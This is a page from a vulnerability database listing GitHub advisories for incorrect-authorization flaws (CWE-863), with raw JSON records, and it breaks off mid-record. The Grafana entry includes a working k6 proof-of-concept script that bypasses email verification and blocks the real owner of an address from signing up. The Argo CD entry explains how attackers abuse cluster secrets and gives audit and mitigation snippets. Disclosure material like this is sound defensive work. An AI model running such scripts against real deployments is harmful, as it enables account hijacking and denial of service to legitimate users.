Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5548 vulnerabilities reference this CWE, most recent first.

GHSA-3HV4-R2FM-H27F

Vulnerability from github – Published: 2024-02-13 22:25 – Updated: 2025-02-18 22:29
VLAI
Summary
Email Validation Bypass And Preventing Sign Up From Email's Owner
Details

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of bar@example.com to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to bar@example.com * That's it, your using an email you don't own.

Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to bar@example.com * Signout. * Try to sign up with email b@example.com * Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email foo@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "foo@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to bar@example.com", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "foo@example.com",
      "login": "bar@example.com", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email bar@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "bar@example.com",
      "username": "bar@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "9.5.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.0"
            },
            {
              "fixed": "10.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.0"
            },
            {
              "fixed": "10.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-13T22:25:10Z",
    "nvd_published_at": "2024-02-13T22:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it\u0027s email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email\u0027s owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don\u0027t know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That\u0027s it, your using an email you don\u0027t own.\n\nPrevent email\u0027s owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: \u0027per-vu-iterations\u0027,\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () =\u003e {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.",
  "id": "GHSA-3hv4-r2fm-h27f",
  "modified": "2025-02-18T22:29:35Z",
  "published": "2024-02-13T22:25:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6152"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2023-6152"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250214-0008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Email Validation Bypass And Preventing Sign Up From Email\u0027s Owner"
}

GHSA-3HW5-M8JJ-M9VV

Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-17 00:00
VLAI
Details

Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-12T14:15:00Z",
    "severity": "LOW"
  },
  "details": "Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.",
  "id": "GHSA-3hw5-m8jj-m9vv",
  "modified": "2022-07-17T00:00:45Z",
  "published": "2022-07-13T00:01:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30757"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HWP-P2JW-J4XH

Vulnerability from github – Published: 2024-02-20 15:31 – Updated: 2025-02-12 21:31
VLAI
Details

Incorrect permissions in the installation directories for shared SystemLink Elixir based services may allow an authenticated user to potentially enable escalation of privilege via local access.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-20T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "Incorrect permissions in the installation directories for shared SystemLink Elixir based services may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-3hwp-p2jw-j4xh",
  "modified": "2025-02-12T21:31:48Z",
  "published": "2024-02-20T15:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1155"
    },
    {
      "type": "WEB",
      "url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/incorrect-permissions-for-shared-systemlink-elixir-based-service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HX3-V4G2-HGQP

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-07-13 00:01
VLAI
Details

Under certain conditions, SAP Business One Hana Chef Cookbook, versions - 8.82, 9.0, 9.1, 9.2, 9.3, 10.0, used to install SAP Business One for SAP HANA, allows an attacker to exploit an insecure temporary backup path and to access information which would otherwise be restricted, resulting in Information Disclosure vulnerability highly impacting the confidentiality, integrity and availability of the application.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-27616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Under certain conditions, SAP Business One Hana Chef Cookbook, versions - 8.82, 9.0, 9.1, 9.2, 9.3, 10.0, used to install SAP Business One for SAP HANA, allows an attacker to exploit an insecure temporary backup path and to access information which would otherwise be restricted, resulting in Information Disclosure vulnerability highly impacting the confidentiality, integrity and availability of the application.",
  "id": "GHSA-3hx3-v4g2-hgqp",
  "modified": "2022-07-13T00:01:13Z",
  "published": "2022-05-24T19:02:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27616"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3049661"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=576094655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3J7R-R9WV-QRJP

Vulnerability from github – Published: 2022-10-11 19:00 – Updated: 2022-10-14 12:00
VLAI
Details

Cloud Mobility for Dell Storage versions 1.3.0 and earlier contains an Improper Access Control vulnerability within the Postgres database. A threat actor with root level access to either the vApp or containerized versions of Cloud Mobility may potentially exploit this vulnerability, leading to the modification or deletion of tables that are required for many of the core functionalities of Cloud Mobility. Exploitation may lead to the compromise of integrity and availability of the normal functionality of the Cloud Mobility application.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-11T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cloud Mobility for Dell Storage versions 1.3.0 and earlier contains an Improper Access Control vulnerability within the Postgres database. A threat actor with root level access to either the vApp or containerized versions of Cloud Mobility may potentially exploit this vulnerability, leading to the modification or deletion of tables that are required for many of the core functionalities of Cloud Mobility. Exploitation may lead to the compromise of integrity and availability of the normal functionality of the Cloud Mobility application.",
  "id": "GHSA-3j7r-r9wv-qrjp",
  "modified": "2022-10-14T12:00:18Z",
  "published": "2022-10-11T19:00:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34434"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-vc/000203434/dsa-2022-264-cloud-mobility-for-dell-storage-security-update-for-an-insecure-database-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3J85-7C4G-4F56

Vulnerability from github – Published: 2024-12-04 12:31 – Updated: 2024-12-04 12:31
VLAI
Details

Incorrect authorization vulnerability in ActionRule webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to perform limited actions on the set action rules function via unspecified vectors.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-04T07:15:05Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization vulnerability in ActionRule webapi component in Synology Surveillance Station before 9.2.0-11289 and 9.2.0-9289 allows remote authenticated users to perform limited actions on the set action rules function via unspecified vectors.",
  "id": "GHSA-3j85-7c4g-4f56",
  "modified": "2024-12-04T12:31:44Z",
  "published": "2024-12-04T12:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52944"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3JFQ-742W-XG8J

Vulnerability from github – Published: 2023-02-16 20:47 – Updated: 2023-02-16 20:47
VLAI
Summary
Users with any cluster secret update access may update out-of-bounds cluster secrets
Details

Impact

All Argo CD versions starting with v2.3.0-rc1 are vulnerable to an improper authorization bug which allows users who have the ability to update at least one cluster secret to update any cluster secret.

The attacker could use this access to escalate privileges (potentially controlling Kubernetes resources) or to break Argo CD functionality (by preventing connections to external clusters).

How the Attack Works

Argo CD stores cluster access configurations as Kubernetes Secrets. To take advantage of the vulnerability, an attacker must know the server URL for the cluster secret they want to modify.

The attacker must be authenticated with the Argo CD API server, and they must be authorized to update at least one (non project-scoped) cluster. Then they must craft a malicious request to the Argo CD API server.

Removing Deployment Restrictions

A cluster Secret's clusterResources field determines whether Argo CD users may deploy cluster-scoped resources to that cluster. The namespaces field determines the namespaces to which Argo CD users may deploy resources.

You can use this command to determine whether any of your cluster configurations employ these restrictions (replace argocd with the namespace of your Argo CD installation):

kubectl get secret -n argocd -l 'argocd.argoproj.io/secret-type=cluster' -ojson | jq '.items |
  map(.data |= with_entries(.value |= @base64d)) |  # base64-decode secrets
  map(select(.data | (
    (.clusterResources != null and .clusterResources == "false") or # we deny cluster-scoped resource management
    (.namespaces != null and .namespaces != "")                     # we are only managing certain clusters
  )) | .metadata.name)'

The clusterResources and namespaces fields are one line of defense against unauthorized management of Kubernetes resources. Users should also have AppProject and RBAC restrictions in place.

If clusterResources: "false" or namespaces: "some,namespaces" are the only mechanisms preventing an attacker from maliciously managing certain resources via Argo CD, then this vulnerability could allow that attacker to manage out-of-bounds resources via Argo CD (create, get, update, delete).

Modifying Connection Parameters

Cluster secrets also hold client configuration for connecting to the remote cluster. One option is to skip TLS certificate verification. An attacker could disable certificate verification in an effort to achieve a malicious-in-the-middle (MITM) attack.

Alternatively, an attacker could apply an invalid configuration (for example, by setting an invalid bearer token) and achieve a denial-of-service by preventing Argo CD from managing the target cluster.

Changing Unscoped Clusters to be Scoped

The vulnerability also allows an attacker to modify a previously-unscoped cluster and make it scoped. This is important if you are using permitOnlyProjectScopedClusters: true in a project under which the attacker can deploy. By scoping a previously-unscoped cluster under that project, they can grant themselves the ability to manage resources on the target cluster.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

  • v2.6.2
  • v2.5.11
  • v2.4.23
  • v2.3.17

Workarounds

The best way to mitigate the vulnerability is to upgrade. The following two sections explain other ways to mitigate the vulnerability if you are currently unable to upgrade.

Limit Users with Cluster Update Access

The only complete mitigation besides upgrading is to modify your RBAC configuration to completely revoke all clusters, update access.

To exploit this vulnerability, an attacker must have access to update at least one cluster configuration. Check your RBAC configuration, for lines like this:

p, role:developers, clusters, update, *, allow
p, role:developers, clusters, *, *, allow
p, role:developers, *, update, *, allow

Revoke clusters, update access for any users who do not absolutely need that access.

Restrict Resource Management via AppProjects and RBAC

AppProjects are a primary tool to restrict what resources may be managed via Argo CD.

You can use the destinations and clusterResourceWhitelist fields to apply similar restrictions as the namespaces and clusterResources fields described above.

apiVersion: argoproj.io/v1alpha1
kind: AppProject
spec:
  destinations:
  # Only allow Applications managed by this AppProject to manage to the `allowed-namespace` namespace.
  - namespace: 'allowed-namespace'
    server: 'https://your-server'
  # Do not allow Applications managed by this AppProject to manage any cluster-scoped resources.
  clusterResourceWhitelist: []

Along with adding AppProject restrictions, make sure that your RBAC restrictions are strict enough.

For example, limit projects, update access to Argo CD administrators only. Also use the {project} field in applications, *, {project}/{application} field to limit users' access to certain, restricted, AppProjects.

AppProject restrictions can only prevent Applications from managing out-of-bounds resources. It cannot prevent an attacker from maliciously changing cluster connection TLS configuration.

For more information

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-16T20:47:25Z",
    "nvd_published_at": "2023-02-16T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAll Argo CD versions starting with v2.3.0-rc1 are vulnerable to an improper authorization bug which allows users who have the ability to update at least one cluster secret to update any cluster secret.\n\nThe attacker could use this access to escalate privileges (potentially controlling Kubernetes resources) or to break Argo CD functionality (by preventing connections to external clusters).\n\n#### How the Attack Works\n\nArgo CD stores [cluster access configurations](https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters) as Kubernetes Secrets. To take advantage of the vulnerability, an attacker must know the server URL for the cluster secret they want to modify. \n\nThe attacker must be authenticated with the Argo CD API server, and they must be authorized to update at least one ([non project-scoped](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/#project-scoped-repositories-and-clusters)) cluster. Then they must craft a malicious request to the Argo CD API server.\n\n#### Removing Deployment Restrictions\n\nA cluster Secret\u0027s `clusterResources` field determines whether Argo CD users may deploy cluster-scoped resources to that cluster. The `namespaces` field determines the namespaces to which Argo CD users may deploy resources.\n\nYou can use this command to determine whether any of your cluster configurations employ these restrictions (replace `argocd` with the namespace of your Argo CD installation):\n\n```shell\nkubectl get secret -n argocd -l \u0027argocd.argoproj.io/secret-type=cluster\u0027 -ojson | jq \u0027.items |\n  map(.data |= with_entries(.value |= @base64d)) |  # base64-decode secrets\n  map(select(.data | (\n    (.clusterResources != null and .clusterResources == \"false\") or # we deny cluster-scoped resource management\n    (.namespaces != null and .namespaces != \"\")                     # we are only managing certain clusters\n  )) | .metadata.name)\u0027\n```\n\nThe `clusterResources` and `namespaces` fields are one line of defense against unauthorized management of Kubernetes resources. Users should also have AppProject and RBAC restrictions in place.\n\nIf `clusterResources: \"false\"` or `namespaces: \"some,namespaces\"` are the _only_ mechanisms preventing an attacker from maliciously managing certain resources via Argo CD, then this vulnerability could allow that attacker to manage out-of-bounds resources via Argo CD (create, get, update, delete).\n\n#### Modifying Connection Parameters\n\nCluster secrets also hold client configuration for connecting to the remote cluster. One option is to skip TLS certificate verification. An attacker could disable certificate verification in an effort to achieve a malicious-in-the-middle (MITM) attack.\n\nAlternatively, an attacker could apply an invalid configuration (for example, by setting an invalid bearer token) and achieve a denial-of-service by preventing Argo CD from managing the target cluster.\n\n#### Changing Unscoped Clusters to be Scoped\n\nThe vulnerability also allows an attacker to modify a previously-unscoped cluster and make it [scoped](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/#project-scoped-repositories-and-clusters). This is important if you are using `permitOnlyProjectScopedClusters: true` in a project under which the attacker can deploy. By scoping a previously-unscoped cluster under that project, they can grant themselves the ability to manage resources on the target cluster.\n\n### Patches\n\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v2.6.2\n* v2.5.11\n* v2.4.23\n* v2.3.17\n\n### Workarounds\n\nThe best way to mitigate the vulnerability is to upgrade. The following two sections explain other ways to mitigate the vulnerability if you are currently unable to upgrade.\n\n#### Limit Users with Cluster Update Access\n\nThe only complete mitigation besides upgrading is to modify your RBAC configuration to completely revoke all `clusters, update` access.\n\nTo exploit this vulnerability, an attacker must have access to update at least one cluster configuration. Check your [RBAC configuration](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/), for lines like this:\n\n```\np, role:developers, clusters, update, *, allow\np, role:developers, clusters, *, *, allow\np, role:developers, *, update, *, allow\n```\n\nRevoke `clusters, update` access for any users who do not absolutely need that access.\n\n#### Restrict Resource Management via AppProjects and RBAC\n\n[AppProjects](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/#projects) are a primary tool to restrict what resources may be managed via Argo CD.\n\nYou can use the `destinations` and `clusterResourceWhitelist` fields to apply similar restrictions as the `namespaces` and `clusterResources` fields described above.\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: AppProject\nspec:\n  destinations:\n  # Only allow Applications managed by this AppProject to manage to the `allowed-namespace` namespace.\n  - namespace: \u0027allowed-namespace\u0027\n    server: \u0027https://your-server\u0027\n  # Do not allow Applications managed by this AppProject to manage any cluster-scoped resources.\n  clusterResourceWhitelist: []\n```\n\nAlong with adding AppProject restrictions, make sure that your RBAC restrictions are strict enough.\n\nFor example, limit `projects, update` access to Argo CD administrators only. Also use the `{project}` field in `applications, *, {project}/{application}` field to limit users\u0027 access to certain, restricted, AppProjects. \n\nAppProject restrictions can only prevent Applications from managing out-of-bounds resources. It cannot prevent an attacker from maliciously changing cluster connection TLS configuration.\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n",
  "id": "GHSA-3jfq-742w-xg8j",
  "modified": "2023-02-16T20:47:25Z",
  "published": "2023-02-16T20:47:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3jfq-742w-xg8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23947"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/fbb0b99b1ac3361b253052bd30259fa43a520945"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Users with any cluster secret update access may update out-of-bounds cluster secrets"
}

GHSA-3JG3-MMC8-2GPJ

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30
VLAI
Details

FusionAccess version 6.5.1 has an improper authorization vulnerability. A command is authorized with incorrect privilege. Attackers with other privilege can execute the command to exploit this vulnerability. This may compromise normal service of the affected product.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-9090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-12T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "FusionAccess version 6.5.1 has an improper authorization vulnerability. A command is authorized with incorrect privilege. Attackers with other privilege can execute the command to exploit this vulnerability. This may compromise normal service of the affected product.",
  "id": "GHSA-3jg3-mmc8-2gpj",
  "modified": "2022-05-24T17:30:33Z",
  "published": "2022-05-24T17:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9090"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200930-01-fa-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3JM5-QQG2-4JF9

Vulnerability from github – Published: 2022-05-10 00:00 – Updated: 2022-05-24 00:01
VLAI
Details

A security vulnerability has been identified in HPE Nimble Storage Hybrid Flash Arrays, HPE Nimble Storage All Flash Arrays, and HPE Nimble Storage Secondary Flash Arrays which could potentially allow the upload, but not execution, of unauthorized update binaries to the array. HPE has made the following software updates to resolve the vulnerability in HPE Nimble Storage: 5.0.10.100 or later, 5.2.1.0 or later, 6.0.0.100 or later.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-09T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A security vulnerability has been identified in HPE Nimble Storage Hybrid Flash Arrays, HPE Nimble Storage All Flash Arrays, and HPE Nimble Storage Secondary Flash Arrays which could potentially allow the upload, but not execution, of unauthorized update binaries to the array. HPE has made the following software updates to resolve the vulnerability in HPE Nimble Storage: 5.0.10.100 or later, 5.2.1.0 or later, 6.0.0.100 or later.",
  "id": "GHSA-3jm5-qqg2-4jf9",
  "modified": "2022-05-24T00:01:33Z",
  "published": "2022-05-10T00:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23705"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbst04273en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
